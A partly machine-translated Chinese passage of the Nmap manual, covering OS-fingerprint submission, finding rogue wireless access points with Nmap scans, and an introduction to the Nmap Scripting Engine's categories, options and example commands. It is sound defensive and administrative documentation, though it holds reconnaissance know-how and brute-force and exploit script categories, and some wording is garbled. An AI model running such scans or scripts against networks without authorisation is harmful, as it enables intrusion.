请考虑提交指纹,以便所有 Nmap 用户都能受益。只需要一两分钟,这可能意味着当您使用下一个 Nmap 版本扫描主机时,您不需要再次看到那个丑陋的消息!只需访问 Nmap 提供的 URL 以获取说明。
如果 Nmap 没有找到匹配项,但没有打印指纹,则条件并不理想。即使您通过调试模式或 XML 输出获取指纹,也请不要提交,除非 Nmap 要求您提交(如上例所示)。
自己修改nmap-os-db
数据库
人们经常询问是否要自己集成指纹,而不是(或除此之外)将其提交给 Nmap.Org。虽然我们没有为此提供详细的说明或脚本,但在您非常熟悉名为“了解 Nmap 指纹”的部分之后,它肯定是可能的。我希望这对您有用,但无需将您自己的参考指纹作品发送给我们。我们只能整合来自网络表单的原始主题指纹提交。
解决方案:检测企业网络上的恶意无线接入点
问题
随着移动设备和廉价商品网络设备的普及,公司越来越多地发现员工正在以不受欢迎的方式扩展他们的网络。最危险的设备是 802.11 无线接入点 (WAP)。用户可以在他们的隔间安装一个 20 美元的 WAP,这样他们就可以在休息室工作,而没有意识到(或关心)他们刚刚向停车场或附近建筑物中的潜在攻击者开放了受保护的公司网络。
一些 WAP 安装甚至比天真的用户安装的更糟糕。对于攻击者来说,破坏建筑物的安全性比通过网络从远处访问公司数据的风险要大得多。它有被当场逮捕的风险。因此,众所周知,攻击者会安装紧凑型 WAP,这样他们就可以从街上相对安全的汽车中随意侵入网络。贴在桌子下面或以其他方式隐藏的 WAP 在一段时间内不太可能被注意到。
虽然此解决方案的重点是查找 WAP,但同样的策略可用于查找几乎任何内容。您可能需要找到所有 Cisco 路由器以应用新补丁或 Solaris 设备,以确定您是否有足够的系统来支付支持费用。
查找未经授权的无线设备的一种方法是使用无线嗅探器(例如Kismet )扫描该区域 或NetStumbler。 另一种方法是使用 Nmap 扫描有线端。毫不奇怪,这个解决方案只关注后一种方法。每种技术都可能遗漏某些 WAP,因此最好的方法是两者都做并合并结果。
解决方案
-A
使用该选项扫描您的整个地址空间。您可以通过将扫描端口限制为 1–85、113、443 和 8080–8100 来加快速度。这些应该在大多数 WAP 上都找到一个开放和封闭的端口,这提高了操作系统检测的准确性。如果您的网络跨越多个以太网网段,请从同一网段上的指定机器扫描每个网段。这加快了扫描速度(特别是因为您可以并行执行它们),并且还为您提供每个设备的 MAC 地址。 从同一段扫描还可以让您发现隐形设备。即使是过滤了所有端口的 WAP 通常也会响应 ARP 请求。结果应至少以普通格式和 XML 格式保存,因此您不妨使用 -oA
.考虑第 6 章“优化 Nmap 性能” 中描述的所有性能增强选项。性能选项的一个良好且相对安全的开始是-T4 --min-hostgroup 50 --max-rtt-timeout 1000ms --initial-rtt-timeout 300ms --max-retries 3 --host-timeout 20m --max-scan-delay 1000ms
. 将所有这些放在一起以获得如下命令:
nmap -A -oA ~/nmap-logs/wapscan -p 1-85,113,443,8080-8100 -T4 --min-hostgroup 50 --max-rtt-timeout 1000ms --initial-rtt-timeout 300ms --max-retries 3 --host-timeout 20m --max-scan-delay 1000ms <target_network>
扫描完成后,搜索 WAP 特征。在少于几百个实时主机的网络上,最好的办法是单独查看每个主机。对于较大的网络,您可能需要自动执行该任务。可以使用 grep 搜索单个特征,但最好使用分析 XML 输出的 Perl 脚本。由于现有的模块,这非常容易,例如 Nmap::Scanner 和Nmap::Parser, 用于解析 Nmap XML 输出。有关示例, 请参见“使用 Perl 操作 XML 输出”一节。
一旦确定了候选列表,最好打开正常的 Nmap 输出文件并检查每一个以消除误报。例如,Linksys 设备可能被标记为可能的 WAP,即使它可能是没有任何无线功能的普通交换机之一。
找到 WAP 后,就该追踪它们了。这通常可以通过查询他们连接的交换机的物理以太网端口号来完成。
无线接入点特性
现在是时候讨论要寻找的 WAP 特性了。了解这些对于手动检查或修改 WAP 查找器脚本以搜索其他内容很有用。通过查看示例 8.11中典型 WAP 的扫描,您可能会立即看到其中的许多。
#nmap -A -v wap.nmap.org
启动 Nmap ( http://nmap.org )
wap.nmap.org (192.168.0.6) 的 Nmap 扫描报告
未显示:999 个关闭端口
港口国服务版
80/tcp 打开 http Netgear MR 系列 WAP(MR814;嵌入式 HTTPD 1.00)
MAC 地址:00:09:5B:3F:7D:5E(网件)
设备类型:WAP
正在运行:Compaq 嵌入式、Netgear 嵌入式
操作系统详细信息:WAP:Compaq iPAQ 连接点或 Netgear MR814
服务信息:设备:WAP
Nmap 完成:在 10.90 秒内扫描了 1 个 IP 地址(1 个主机启动)
发送的原始数据包:1703 (75.706KB) | 接收量:1686 (77.552KB)
该设备显示了许多明显的 WAP 线索(Device type: WAP
非常明显)和一些更微妙的线索。但 WAP 并不总是那么容易被发现。本节提供了 WAP 特征列表,从最强大的特征开始,以远射或更容易产生误报的启发式方法结束。列出的每个特征都伴随着一个 XPath 显示在 Nmap XML 输出中的何处找到它的表达式。由于这与安全相关,我建议尝试所有这些并手动删除误报。
- TCP/IP 指纹识别设备类型
-
如“设备和操作系统分类(
Class
行)”一节所述,每个参考指纹至少有一个分类(包括设备类型)与之关联。因为 WAP 非常有争议,所以当多种类型都适合时,我们会尝试使用它(或给出两种分类)。因此,像 D-Link DI-624 无线宽带路由器这样的设备被归类为WAP
而不是switch
或router
。可以使用 XPath 表达式在 XML 输出中找到设备类型/nmaprun/host/os/osclass/@type
。(即 根元素内 任意 元素的元素的type
属性)。osclass
os
host
nmaprun
- TCP/IP 指纹识别详细信息
-
虽然具有无线功能的设备 应归类为设备类型
WAP
,但值得在详细的操作系统描述中搜索诸如wireless
或wap
仅用于确定的术语。描述/nmaprun/host/os/osmatch/@name
在 XML 输出中。 - 版本检测设备类型
-
版本检测还尝试确定设备类型,但通过指纹识别目标的运行服务而不是其 IP 堆栈。检查位于的 XML
devicetype
属性 是否/nmaprun/host/ports/port/service/@devicetype
为WAP
. 为了完全安全,检查/nmaprun/host/ports/port/service/@extrainfo
字段中的子字符串wap
orwireless
是值得的。 - 供应商(来自 MAC 地址、TCP/IP 指纹识别和版本检测)
-
某些供应商专门生产低成本的消费者网络设备,这些设备最有可能秘密进入办公网络。例如 Linksys、Netgear、Belkin、SMC、D-Link、摩托罗拉、Trendnet、Zyxel 和 Gateway。您可以根据 MAC 地址查找(
/nmaprun/host/address/@vendor
在 XML 输出中)、操作系统检测(/nmaprun/host/os/osclass/@vendor
在 XML 输出中)或版本检测(/nmaprun/host/ports/port/service/@product
在 XML 输出中)结果来检查这些供应商。请务必将供应商作为字段的子字符串进行搜索,因为该字段可能包含公司类型(例如 Inc.)或其他信息。该测试可能导致许多误报。如果您在授权设备上大量使用供应商,例如将 Netgear NIC 放入您的台式机,您可能必须删除该供应商并重新运行脚本。
- 主机名
-
检查主机名没有坏处(反向 DNS 解析) 对于诸如
wap
、wireless
或之类的术语airport
。这些可以/nmaprun/host/hostnames/hostname/@name
在 XML 输出中找到。非管理人员很少更改 DNS 名称,但这对于渗透测试人员、新管理员和其他可能正在扫描新网络以寻找授权访问点的人很有用。
第 9 章 Nmap 脚本引擎(暂时机翻)
介绍
用法和示例
脚本分类
脚本类型和阶段
命令行参数
脚本选择
脚本参数
完整示例
脚本格式
description字段
categories字段
author字段
license字段
dependencies字段
规则
行动
环境变量
脚本语言
Lua 基础语言
NSE 脚本
NSE 库
所有库列表
黑入 NSE 库
将 C 模块添加到 Nselib
Nmap API
传递给脚本的信息
网络 I/O API
连接式网络 I/O
原始数据包网络 I/O
结构化和非结构化输出
异常处理
注册表
脚本编写教程
头部
规则
行动
编写脚本文档 (NSEDoc)
NSE 文档标签
NSE 中的脚本并发性
工作者线程
互斥体 Mutexes
条件变量
多线程协作
基本线程
使用 NSE 进行版本检测
示例脚本:finger
实现细节
初始化阶段
脚本扫描
(译者注:可以理解为就是将nmap作为平台并提供一个可操作的接口和一套控制方法,一般我们把它称为宏,编写的控制方法成为脚本,或者理解为nmap作为一个库提供支持)
介绍
Nmap 脚本引擎 (NSE) 是 Nmap 最强大和最灵活的功能之一。它允许用户编写(和共享)简单的脚本来自动化各种网络任务。然后这些脚本以您期望从 Nmap 获得的速度和效率并行执行。用户可以依赖与 Nmap 一起分发的不断增长和多样化的脚本集,或者编写自己的脚本来满足自定义需求。
我们将 NSE 设计为多功能的,并考虑到以下任务:
这是Nmap的面包和黄油(译者注:面包和黄油暗指赖以生存的东西)。示例包括根据目标域名查找 whois 数据、查询目标 IP 的 ARIN、RIPE 或 APNIC 以确定所有权、对开放端口执行 identd 查找、SNMP 查询以及列出可用的 NFS/SMB/RPC 共享和服务。
- 更复杂的版本检测
-
Nmap 版本检测系统(第 7 章,服务和应用程序版本检测) 能够通过其基于探针和正则表达式签名的匹配系统识别数千种不同的服务,但它无法识别所有内容。例如,识别 Skype v2 服务需要两个独立的探针,而版本检测不够灵活,无法处理。如果 Nmap 通过暴利破戒尝试数百个不同的community名称,它还可以识别更多的 SNMP 服务。这些任务都不太适合传统的 Nmap 版本检测,但都可以通过 NSE 轻松完成。由于这些原因,版本检测现在默认调用 NSE 来处理一些棘手的服务。这在 名为“使用 NSE 进行版本检测”的部分中进行了描述。
- 漏洞检测
-
当新漏洞被披露时,您通常希望在坏人之前快速扫描您的网络以识别有漏洞系统。虽然 Nmap 不是一个全面的漏洞扫描程序,NSE强大到足以处理苛刻的漏洞检查。 当Heartbleed漏洞影响到全球几十万个系统时,Nmap的开发者在2天内用ssl-heartbleed检测脚本做出了回应。许多漏洞检测脚本已经可用,我们计划在写完后分发更多。
- 后门检测
-
许多攻击者和一些自动蠕虫会留下后门,以便以后重新进入。其中一些可以通过 Nmap 的基于正则表达式的版本检测来检测,但更复杂的蠕虫和后门需要 NSE 的高级功能才能可靠地检测。NSE 已被用于检测 SMB 中的 Double Pulsar NSA 后门以及 UnrealIRCd、vsftpd 和 ProFTPd 的后门版本。
- 漏洞利用
-
作为一种通用脚本语言,NSE 甚至可以用来利用漏洞,而不仅仅是查找漏洞。添加自定义漏洞利用脚本的能力对某些人(尤其是渗透测试人员)可能很有价值, 尽管我们不打算将 Nmap 变成一个漏洞利用框架,例如 Metasploit。(译者注:msf也具有主机发现和端口扫描功能但远远不能与nmap比较)
这些列出的项目是我们最初的目标,我们希望 Nmap 用户能够为 NSE 提供更多创造性的用途。
脚本是用嵌入式 Lua 编程语言5.3 版编写的。该语言本身在《Lua编程第四版》和《Lua 5.2参考手册》这两本书中得到了很好的记录。为 Lua 5.3 更新的参考手册也 可以在线免费获得, 第一版的Lua编程也是如此。鉴于这些优秀的通用 Lua 编程参考的可用性,本文档仅涵盖特定于 Nmap 脚本引擎的方面和扩展。
NSE 使用-sC选项激活(或者 --script
如果您希望指定一组自定义脚本),结果被集成到Nmap普通输出和XML输出中。
示例 9.1 显示了一个典型的脚本扫描 。此示例中产生输出的服务脚本是 ssh-hostkey
,它提供系统的 RSA 和 DSA SSH 密钥,以及rpcinfo
,它查询端口映射器以枚举可用服务。此示例中唯一产生输出的主机脚本是smb-os-discovery
,它从 SMB 服务器收集各种信息。 Nmap 在三分之一秒内发现了所有这些信息。
# nmap -sC -p22,111,139 -T4 localhost
Starting Nmap ( https://nmap.org )
Nmap scan report for flog (127.0.0.1)
PORT STATE SERVICE
22/tcp open ssh
| ssh-hostkey: 1024 b1:36:0d:3f:50:dc:13:96:b2:6e:34:39:0d:9b:1a:38 (DSA)
|_2048 77:d0:20:1c:44:1f:87:a0:30:aa:85:cf:e8:ca:4c:11 (RSA)
111/tcp open rpcbind
| rpcinfo:
| 100000 2,3,4 111/udp rpcbind
| 100024 1 56454/udp status
|_100000 2,3,4 111/tcp rpcbind
139/tcp open netbios-ssn
Host script results:
| smb-os-discovery: Unix
| LAN Manager: Samba 3.0.31-0.fc8
|_Name: WORKGROUP
Nmap done: 1 IP address (1 host up) scanned in 0.33 seconds
一个 38 分钟的 NSE 视频介绍可在 https://nmap.org/presentations/BHDC10/获得。该演讲由 Fyodor 和 David Fifield 在 2010 年 Defcon 和 Black Hat Briefings 上发表。
用法和示例
虽然 NSE 具有复杂的效率实现,但它非常易于使用。只要指定-sC就可以启用最常见的脚本。或者指定--script选项,通过提供类别、脚本文件名或你希望执行的脚本的完整目录名称,来选择你自己的脚本来执行。您可以通过 --script-args
和--script-args-file
选项向它们提供参数来自定义一些脚本。--script-help
显示了对每个选定脚本的作用的描述。剩下的两个选项——script-trace和——script-updatedb通常只用于脚本调试和开发。脚本扫描也包含在-A(激进扫描)选项中。
脚本扫描通常与端口扫描结合使用,因为脚本可能运行或不运行取决于扫描发现的端口状态。使用该-sn
选项,可以在没有端口扫描的情况下运行脚本扫描,只有主机发现。在这种情况下,只有主机脚本才有资格运行。要运行既不进行主机发现也不进行端口扫描的脚本扫描,请将这些-Pn -sn
选项与 -sC
或一起使用--script
。每个主机都将被假定运行并且仍然只运行主机脚本。这种技术对于像whois-ip这样只使用远程系统的地址而不要求它处于运行状态的脚本很有用。
脚本不在沙箱中运行,因此可能会意外或恶意损坏您的系统或侵犯您的隐私。除非您信任作者或自己仔细审核过脚本,否则切勿运行来自第三方的脚本。
NSE脚本定义了一个它们所属的类别列表。目前定义的类别有:auth、broadcast、brute、default、discovery、dos、exploit、external、fuzzer、intrusive、malware、safe、version和vuln。类别名称不区分大小写。下面的列表描述了每个类别。
auth
-
这些脚本处理目标系统上的身份验证凭据(或绕过它们)。示例包括
x11-access
、ftp-anon
和oracle-enum-users
。使用暴利破姐攻击来确定凭据的脚本被放置在该brute
类别中。 broadcast
-
此类别中的脚本通常通过在本地网络上广播来发现未在命令行中列出的主机。使用newtargets脚本参数来允许这些脚本自动把它们发现的主机添加到Nmap扫描队列中。
brute
-
这些脚本使用暴利破戒攻击来猜测远程服务器的身份验证凭据。Nmap 包含用于暴利破戒数十种协议的脚本,包括
http-brute
,oracle-brute
,snmp-brute
等。 default
-
这些脚本是默认设置,在使用 -sC 或 -A 选项而不是用 --script 列出脚本时运行。这个类别也可以像其他类别一样用--script=default明确指定。在决定一个脚本是否应该被默认运行时,要考虑许多因素。
- 速度
-
默认扫描必须快速完成,其中不包括暴利破戒身份验证破戒器、web爬虫和任何其他可能需要几分钟或几小时才能扫描单个服务的脚本。
- 有用性
-
默认扫描需要生成有价值且可行动的信息。如果即使是脚本作者也无法解释为什么普通网络或安全专业人员会发现输出的信息有价值,则默认情况下不应运行该脚本。
- 详细
-
Nmap 输出用于多种用途,并且需要可读性和简洁性。不应将频繁生成充满输出的页面的脚本添加到该
default
类别中。当没有要报告的重要信息时,NSE 脚本(尤其是默认脚本)不应返回任何内容。默认检查一个不确定的漏洞可能是可以的,只要它仅在发现该漏洞时才产生输出。 - 可靠性
-
许多脚本使用启发式和模糊签名匹配来得出有关目标主机或服务的结论。示例包括
sniffer-detect
和sql-injection
。如果脚本经常出错,它就不属于默认类别,因为它可能会混淆或误导临时用户。直接指定脚本或类别的用户通常更高级,并且可能知道脚本是如何工作的,或者至少知道在哪里可以找到它的文档。 - 侵入性
-
一些脚本非常具有侵入性,因为它们使用远程系统上的大量资源,可能使系统或服务崩溃,或者可能被远程管理员视为攻击。脚本越具有侵入性,就越不适合该
default
类别。默认脚本也几乎总是在该safe
类别中,尽管我们偶尔会在默认情况下允许intrusive脚本,如果它们只是轻微的侵入性,并且在其他因素中得分很高。 - 隐私
-
有些脚本,特别是后面描述的external类别的脚本,由于其本身的性质,会向第三方泄露信息。例如,whois脚本必须向地区whois注册处透露目标IP地址。我们也考虑过(但决定不加入)添加脚本,根据互联网的弱密钥数据库检查目标SSH和SSL密钥指纹。一个脚本的隐私侵犯性越大,它就越不适合列入默认类别。
对于这些标准中的每一个,我们都没有确切的阈值,其中许多是主观的。在决定是否将脚本提升到该
default
类别时,所有这些因素都会被综合考虑。一些默认脚本是identd-owners
(使用 identd 确定运行远程服务的用户名)、http-auth
(获得需要认证的网站的认证方案和境界)和ftp-anon
(测试 FTP 服务器是否允许匿名访问)。我们对这些准则中的每一项都没有确切的门槛,而且其中很多都是主观的。在决定是否将一个脚本提升到默认类别时,所有这些因素都要一起考虑。几个默认脚本是identd-owners(确定使用identd运行远程服务的用户名),http-auth(获得需要认证的web网站的认证方案和领域),以及ftp-anon(测试一个FTP服务器是否允许匿名访问)。
discovery
-
这些脚本尝试通过查询公共注册处、启用 SNMP 的设备、目录服务等来主动发现有关网络的更多信息。示例包括
html-title
(获取网站根路径的标题)、smb-enum-shares
(枚举 Windows 共享)和snmp-sysdescr
(通过 SNMP 提取系统详细信息)。 dos
-
此类别中的脚本可能会导致拒绝服务。有时这样做是为了测试拒绝服务方法的漏洞,但更常见的是测试传统漏洞的一个不希望发生的不可避免的负面影响。这些测试有时会使有漏洞服务崩溃。
exploit
external
-
此类别中的脚本可能会将数据发送到第三方数据库或其他网络资源。这方面的一个例子是
whois-ip
,它与 whois服务器建立连接以了解目标的地址。第三方数据库的经营者总是有可能会记录您发送给他们的任何内容,在许多情况下包括您的 IP 地址和目标地址。大多数脚本都严格涉及扫描计算机和客户端之间的流量;任何不涉及的脚本都被归入这一类别。 fuzzer
-
这一类包含的脚本被设计为在每个数据包中向服务器软件发送意外的或随机的字段。虽然这种技术对发现软件中未被发现的缺陷和漏洞很有用,但它既是一个缓慢的过程,又需要大量带宽。这类脚本的一个例子是dns-fuzz,它用稍有缺陷的域名请求轰炸DNS服务器,直到服务器崩溃或用户指定的时间限制过后。
intrusive
-
这些脚本无法归入
safe
类别,因为风险太高以至于它们会导致目标系统崩溃、耗尽目标主机上的大量资源(例如带宽或 CPU 时间),或被目标系统管理员视为恶意的。例如http-open-proxy
(尝试将目标服务器用作 HTTP 代理)和snmp-brute(它试图通过发送诸如public、private和cisco等常见值来猜测设备的SNMP community 字符串)
。除非脚本属于特殊version
类别,否则应将其归类为safe
或intrusive
。 malware
-
这些脚本测试目标平台是否被恶意软件或后门程序所感染。例子包括smtp-strangeport和auth-spoof,前者观察运行在不寻常端口号上的SMTP服务器,后者检测在收到查询之前提供虚假回答的identd欺骗守护程序。这两种行为通常与恶意软件的感染有关。
safe
-
没有被设计成崩溃服务、使用大量网络带宽或其他资源、或利用安全漏洞的脚本被归类为safe。这些脚本不太可能冒犯远程管理员,尽管(和所有其它Nmap功能一样)我们不能保证它们永远不会引起不良反应。这些功能中的大多数执行一般的网络发现。例如ssh-hostkey (检索SSH主机密钥)和html-title (从一个网页上抓取标题)。version类别中的脚本没有按安全性分类,但任何其他不在safe类别中的脚本都应该放在intrusive类别中。
version
-
这个特殊类别的脚本是版本检测功能的扩展,不能明确选择。只有在要求进行版本检测(-sV)的情况下,它们才会被选择运行。它们的输出无法与版本检测的输出区分开来,而且它们不产生服务或主机脚本的结果。例子是skypev2-version、pptp-version和iax2-version。
vuln
-
这些脚本检查特定的已知漏洞,通常仅在发现时报告结果。示例包括
realvnc-auth-bypass
和afp-path-vuln
。
NSE 支持四种类型的脚本,它们的区别在于它们采用的目标类型和运行它们的扫描阶段。单个脚本可能支持多种类型的操作。
- 前规则脚本(译者注:所有主机前执行)
-
这些脚本在 Nmap 的任何扫描阶段之前运行,因此 Nmap 尚未收集有关其目标的任何信息。它们对于不依赖于特定扫描目标的任务很有用,例如执行网络广播请求以查询 DHCP 和 DNS SD 服务器。其中一些脚本可以为 Nmap 生成新目标以进行扫描(仅当您指定newtargets NSE 参数时)。例如,dns-zone-transfer 可以使用区域传输请求获取域中的 IP 列表,然后自动将它们添加到 Nmap 的扫描目标列表中。Prerule 脚本可以通过包含一个
prerule
函数来识别(参见“规则”一节)。 - 主机脚本(译者注:每个主机后执行)
-
此阶段的脚本在 Nmap 对目标主机执行主机发现、端口扫描、版本检测和操作系统检测后,在 Nmap 的正常扫描过程中运行。这种类型的脚本针对与其
hostrule
功能匹配的每个目标主机调用一次。例如whois-ip,它查找目标 IP 的所有权信息,以及path-mtu ,它试图确定可以到达目标而不需要分片的最大 IP 数据包大小。 - 服务脚本(译者注:每个服务后执行)
-
这些脚本针对侦听目标主机的特定服务运行。例如,Nmap 包含 15 个以上的 http 服务脚本,可针对 Web 服务器运行。如果主机在多个端口上运行 Web 服务器,则这些脚本可能会运行多次(每个端口一个)。这些是最常见的 Nmap 脚本类型,它们通过包含一个
portrule
函数来区分,该函数用于决定脚本应该针对哪些检测到的服务运行。 - 后规则脚本(译者注:所有主机后执行)
-
这些脚本在 Nmap 扫描完所有目标后运行。它们对于格式化和呈现 Nmap 输出很有用。例如,ssh- hostkey 最出名的是它的服务(portrule)脚本,该脚本连接到 SSH 服务器、发现它们的公钥并打印出来。但它还包括一个后置规则,用于检查所有扫描的主机中是否存在重复的密钥,然后打印找到的任何内容。postrule 脚本的另一个潜在用途是打印 Nmap 输出的反向索引——显示哪些主机运行特定服务,而不仅仅是列出每个主机上的服务。Postrule 脚本通过包含一个
postrule
函数来标识。许多脚本可能作为prerule 或postrule 脚本运行。在这些情况下,我们建议使用prerule 以保持一致性。
命令行参数
这些是特定于脚本扫描的五个命令行参数:
-sC
-
使用默认脚本集执行脚本扫描。它相当于
--script=default
。此default类别中的某些脚本被认为是侵入性的,未经许可不得针对目标网络运行。 --script
<filename>
|<category>
|<directory>
/|<expression>
[,...]-
使用逗号分隔的文件名、脚本类别和目录列表运行脚本扫描。列表中的每个元素也可以是描述一组更复杂脚本的布尔表达式。每个元素首先被解释为一个表达式,然后是一个类别,最后是一个文件或目录名。 特殊参数all使Nmap的脚本数据库中的每个脚本都有资格运行。所有参数应谨慎使用,因为NSE可能包含危险的脚本,包括漏洞利用、暴利破戒身份认证破戒器和拒绝服务攻击。
脚本表达式列表中的每个元素都可以用+字符作为前缀,以强制运行给定的脚本,而不考虑其portrule或hostrule函数中的条件。这一般只有高级用户在特殊情况下才会这样做。例如,您可能想对一堆MS SQL服务器进行配置审查,其中一些运行在非标准的端口上。与其通过运行广泛的版本检测(-sV --version-all)使Nmap识别ms-sql服务来降低Nmap的扫描速度,您可以通过指定--script +ms-sql-config来强迫ms-sql-config脚本针对所有目标主机和端口运行。
文件名和目录名可以是相对的或绝对的。绝对名称直接使用。相对路径会
在以下位置的每个脚本子目录中搜索, 直到找到:
--datadir
$NMAPDIR
~/.nmap
(不在 Windows 上搜索)
(仅在 Windows 上)<APPDATA>
\nmap包含 nmap
可执行文件的目录包含 nmap
可执行文件的目录,后跟../share/nmap(不在 Windows 上搜索)
NMAPDATADIR
(不在 Windows 上搜索)当前目录 当给定一个以/结尾的目录名时,Nmap加载该目录中名称以.nse结尾的每个文件。所有其它文件被忽略,目录不会被递归搜索。当给出一个文件名时,它不需要有.nse扩展名;如果需要,它会自动添加。
有关示例和该
--script
选项的完整说明, 请参见名为“脚本选择”的章节。Nmap脚本默认存储在Nmap数据目录的scripts子目录中。(请参阅 第 14 章,了解和自定义 Nmap 数据文件)。为了提高效率,脚本被索引在一个存储在scripts/script.db的数据库中,其中列出了每个脚本所属的一个或多个类别。参数all将执行Nmap脚本数据库中的所有脚本,但是应该谨慎使用,因为Nmap可能包含漏洞利于、拒绝服务攻击和其它危险的脚本。
--script-args
<args>
-
为脚本提供参数。有关详细说明,请参阅 名为“脚本参数”的部分。
--script-args-file
<filename>
-
这个选项与 --script-args 相同,只是你在文件中而不是在命令行中传递参数。详细解释请参见 "脚本的参数 "一节。
--script-help
<filename>
|<category>
|<directory>
|<expression>
|all[,...]-
显示有关脚本的帮助。对于每个符合给定规范的脚本,Nmap 打印脚本名称、它的类别和它的描述。规范与
--script
接受的规范相同;因此,例如,如果您需要有关ssl-enum-ciphers
脚本的帮助,您可以运行 nmap --script-help ssl-enum-ciphers。示例 9.2,“脚本帮助”中显示了一个脚本帮助示例。例 9.2。脚本帮助$ nmap --script-help "afp-* and discovery" Starting Nmap 7.40 ( https://nmap.org ) at 2017-04-21 14:15 UTC afp-ls Categories: discovery safe https://nmap.org/nsedoc/scripts/afp-ls.html Attempts to get useful information about files from AFP volumes. The output is intended to resemble the output of ls. afp-serverinfo Categories: default discovery safe https://nmap.org/nsedoc/scripts/afp-serverinfo.html Shows AFP server information. This information includes the server's hostname, IPv4 and IPv6 addresses, and hardware type (for example Macmini or MacBookPro). afp-showmount Categories: discovery safe https://nmap.org/nsedoc/scripts/afp-showmount.html Shows AFP shares and ACLs.
--script-trace
-
此选项类似于
--packet-trace
,但在应用程序级别工作而不是逐包。如果指定此选项,则打印脚本执行的所有传入和传出通信。显示的信息包括通信协议、源地址和目标地址以及传输的数据。如果超过 5% 的传输数据不可打印,则改为提供十六进制转储。指定--packet-trace
也启用脚本跟踪。 --script-updatedb
-
这个选项更新scripts/script.db中的脚本数据库,Nmap用它来决定可用的默认脚本和类别。只有当您从默认脚本目录中添加或删除NSE脚本,或者您改变了任何脚本的类别时,才有必要更新数据库。这个选项本身不需要参数就可以使用: nmap --script-updatedb。
其他一些 Nmap 选项对脚本扫描有影响。其中最突出的是 -sV
. 版本扫描会自动执行 version
类别中的脚本。 此类别中的脚本与其他脚本略有不同,因为它们的输出与版本扫描结果融合在一起,并且不会在屏幕上产生任何脚本扫描输出。如果使用了-oX选项,典型的脚本输出仍然可以在XML输出文件中获得。
另一个影响脚本引擎的选项是-A。激进的Nmap模式意味着-sC选项。
该--script
选项采用逗号分隔的类别、文件名和目录名列表。一些简单的使用示例:
- nmap --script default,safe
-
加载
default
和safe
类别中的所有脚本。 - nmap --script smb-os-discovery
-
仅加载
smb-os-discovery
脚本。请注意,.nse
扩展是可选的。 - nmap --script default,banner,/home/user/customscripts
-
加载默认类别的脚本、banner 脚本和/home/user/customscripts目录中的所有.nse文件。
在以名字引用script.db中的脚本时,可以使用shell风格的'*'通配符。
- nmap --script "http-*"
-
加载名称以 http-开头的所有脚本,例如
http-auth
和http-open-proxy
。--script的参数必须用引号引起来以保护通配符免受 shell 的影响。
更复杂的脚本选择可以使用and、or和not运算符来建立布尔表达式。这些运算符的优先级与Lua中的相同:not是最高的,其次是and,然后是or。你可以通过使用圆括号来改变优先顺序。因为表达式包含空格,所以需要引起来它们。
- nmap --script "not intrusive"
-
加载除
intrusive
类别中的脚本之外的所有脚本。 - nmap --script "default or safe"
-
这在功能上等同于 nmap --script "default,safe"。它加载所有在默认类别或安全类别或属于两者中的脚本。
- nmap --script "default and safe"
-
加载同时属于
default
和safe
类别的那些脚本 。 - nmap --script "(default or safe or intrusive) and not http-*"
-
载入默认的、安全的或侵入性的脚本,但那些名字以http-开头的脚本除外。
布尔表达式中的名字可以是一个类别,也可以是script.db中的一个文件名,或者all。名称是不包含空格、逗号、圆括号或分号的任何字符序列,除了作为运算符的and
, or
, not
的序列。
脚本参数
可以使用该 --script-args
选项将参数传递给 NSE 脚本。参数描述了一个键值对和可能的数组值的表。参数作为叫nmap.registry.args注册中的一张表提供给脚本 ,尽管它们通常通过stdnse.get_script_args
函数访问。( The arguments describe a table of key-value pairs and possibly array values. The arguments are provided to scripts as a table in the registry called nmap.registry.args
, though they are normally accessed through the stdnse.get_script_args
function.)
脚本参数的语法类似于 Lua 的表构造函数语法。参数是逗号分隔的 name=value
对列表。名称和值可以是不包含空格或字符 ' {
'、' }
'、' =
' 或 ' ,
' 的字符串。要在字符串中包含这些字符之一,请将字符串括在单引号或双引号中。在带引号的字符串中,' \
' 转义引号。在这种特殊情况下,反斜杠仅用于转义引号;在所有其他情况下,反斜杠按字面意思解释。
值也可以是包含在{} 中的表,就像在 Lua 中一样。一个表可能包含简单的字符串值,例如代理主机列表;或更多name-value对,包括嵌套表。
脚本参数通常用相关的脚本名称来限定,这样用户就不会无意中用一个通用名称影响到多个脚本。例如,你可以通过将broadcast-ping.timeout设置为你愿意等待的时间,来设置对broadcast-ping脚本(而且只是该脚本)的响应超时。但有时,你希望一个脚本参数应用得更广泛。如果你去掉限定条件,只指定timeout=250ms,那么除了broadcast-ping之外,你还会为十多个脚本设置这个值。你甚至可以把限定参数和非限定参数结合起来,最具体的匹配会优先考虑。例如,你可以指定rlogin-brute.timeout=20s,timeout=250ms。在这种情况下,rlogin-brute脚本的超时将是20秒,而所有其他支持这个变量的脚本(broadcast-ping、lltd-discovery等)的超时将是250毫秒。
你可以将参数储存在一个文件中(用逗号或换行符隔开)并只用--script-args-file来指定文件名,而不是在命令行上用 --script-args
传递参数。在命令行上用--script-args指定的选项优先于文件中的选项。文件名可以是绝对路径,也可以是Nmap通常搜索路径的相对路径(NMAPDIR, etc.)
这是一个带有脚本参数的典型 Nmap 调用:
nmap -sC --script-args 'user=foo,pass=",{}=bar",paths={/admin,/cgi-bin},xmpp-info.server_name=localhost'
请注意,脚本参数用单引号括起来。对于 Bash shell,这可以防止 shell 解释双引号并执行自动字符串连接。自然,不同的 shell 可能需要您转义引号或使用不同的引号。请参阅您的相关手册。该命令生成此 Lua 表:
nmap.registry.args = { user = "foo", pass = ",{}=bar", paths = { "/admin", "/cgi-bin" }, xmpp-info.server_name="localhost" }
虽然你可以直接从nmap.registry.args中访问这些值,但通常最好使用stdnse.get_script_args函数,比如这样。
local server_name = stdnse.get_script_args("xmpp-info.server_name")
所有脚本参数共享一个全局命名空间,即nmap.registry.args表。由于这个原因,不建议使用像 user 这样简短或模糊的名字。有些脚本在其参数前加上脚本名称,比如 smtp-open-relay.domain。由库使用的参数可能会影响许多脚本,它们的名字通常以库的名字开头,如smbuser和creds.snmp。
https://nmap.org/nsedoc/ 上的在线 NSE 文档门户列出了每个脚本接受的参数,包括可能影响脚本的任何库参数。
完整示例
- nmap -sC example.com
-
使用默认脚本集的简单脚本扫描。
- nmap -sn -sC example.com
-
没有端口扫描的脚本扫描;只有主机脚本才有资格运行。
- nmap -Pn -sn -sC example.com
-
没有主机发现或端口扫描的脚本扫描。假定所有主机都已启动,并且只有主机脚本才有资格运行。
- nmap --script smb-os-discovery --script-trace example.com
- nmap --script snmp-sysdescr --script-args creds.snmp=admin example.com
- nmap --script mycustomscripts,safe example.com
脚本格式
